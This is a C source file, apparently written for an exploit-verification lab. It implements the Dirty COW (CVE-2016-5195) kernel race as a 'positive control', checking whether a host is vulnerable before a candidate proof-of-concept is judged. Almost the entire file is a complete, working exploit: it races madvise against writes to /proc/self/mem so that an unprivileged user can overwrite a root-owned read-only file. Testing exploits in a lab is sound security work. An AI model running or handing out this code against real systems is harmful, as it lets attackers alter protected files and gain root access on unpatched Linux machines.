/*
 * cowprobe.c — exploit-INDEPENDENT positive control for CVE-2016-5195 (Dirty COW).
 *
 * Purpose: prove that the COW race actually WINS on this substrate, independent
 * of any candidate exploit. The verifier runs this as the unprivileged actor
 * against a dedicated, root-owned, read-only PROBE file (NOT the criterion
 * target). If this control flips the probe's bytes within the attempt budget,
 * the substrate is adequate and a candidate PoC's failure is attributable to
 * the PoC. If this control itself cannot win, the host (not the exploit) is
 * inadequate.
 *
 * Mechanism (the canonical Dirty COW race): mmap the read-only file
 * MAP_PRIVATE, then race two threads — one repeatedly madvise(MADV_DONTNEED)
 * on the mapping, the other repeatedly write(/proc/self/mem) at the mapped
 * address. The TOCTOU window in get_user_pages lets the private (COW) write
 * land on the shared, read-only page, mutating the backing file.
 *
 * Usage:
 *   cowprobe <readonly-file> <replacement-string>
 * Writes <replacement-string> over the start of <readonly-file> and exits 0
 * once the in-file bytes match the replacement; exits 1 on timeout.
 *
 * Build: gcc -O2 -pthread -o cowprobe cowprobe.c
 *
 * This is a generic, well-known reference probe authored for this lab; it does
 * not modify any project source and is not the exploiter's exploit.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>

static void *map;
static int   f;
static struct stat st;
static char *payload;
static size_t payload_len;
static volatile int stop = 0;

static void *madviseThread(void *arg) {
    (void)arg;
    while (!stop) {
        madvise(map, st.st_size, MADV_DONTNEED);
    }
    return NULL;
}

static void *procselfmemThread(void *arg) {
    (void)arg;
    int fm = open("/proc/self/mem", O_RDWR);
    if (fm < 0) { perror("open /proc/self/mem"); return NULL; }
    while (!stop) {
        lseek(fm, (off_t)map, SEEK_SET);
        if (write(fm, payload, payload_len) < 0) {
            /* transient EFAULT during the race is expected; keep going */
        }
    }
    close(fm);
    return NULL;
}

static int file_matches(const char *path) {
    int fd = open(path, O_RDONLY);
    if (fd < 0) return 0;
    char *buf = calloc(1, payload_len + 1);
    ssize_t n = read(fd, buf, payload_len);
    close(fd);
    int ok = (n == (ssize_t)payload_len) && (memcmp(buf, payload, payload_len) == 0);
    free(buf);
    return ok;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "usage: %s <readonly-file> <replacement-string>\n", argv[0]);
        return 2;
    }
    const char *path = argv[1];
    payload = argv[2];
    payload_len = strlen(payload);

    f = open(path, O_RDONLY);
    if (f < 0) { perror("open target (read-only)"); return 2; }
    if (fstat(f, &st) < 0) { perror("fstat"); return 2; }
    if ((size_t)st.st_size < payload_len) {
        fprintf(stderr, "target smaller than payload\n");
        return 2;
    }

    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) { perror("mmap"); return 2; }

    pthread_t pth1, pth2;
    pthread_create(&pth1, NULL, madviseThread, NULL);
    pthread_create(&pth2, NULL, procselfmemThread, NULL);

    /* Bounded attempt budget: poll the on-disk file for up to ~120s. */
    time_t start = time(NULL);
    int won = 0;
    while (time(NULL) - start < 120) {
        if (file_matches(path)) { won = 1; break; }
        struct timespec ts = { 0, 50 * 1000 * 1000 };
        nanosleep(&ts, NULL);
    }
    stop = 1;
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    if (won) {
        printf("POSITIVE-CONTROL-WON\n");
        return 0;
    }
    fprintf(stderr, "POSITIVE-CONTROL-TIMEOUT\n");
    return 1;
}
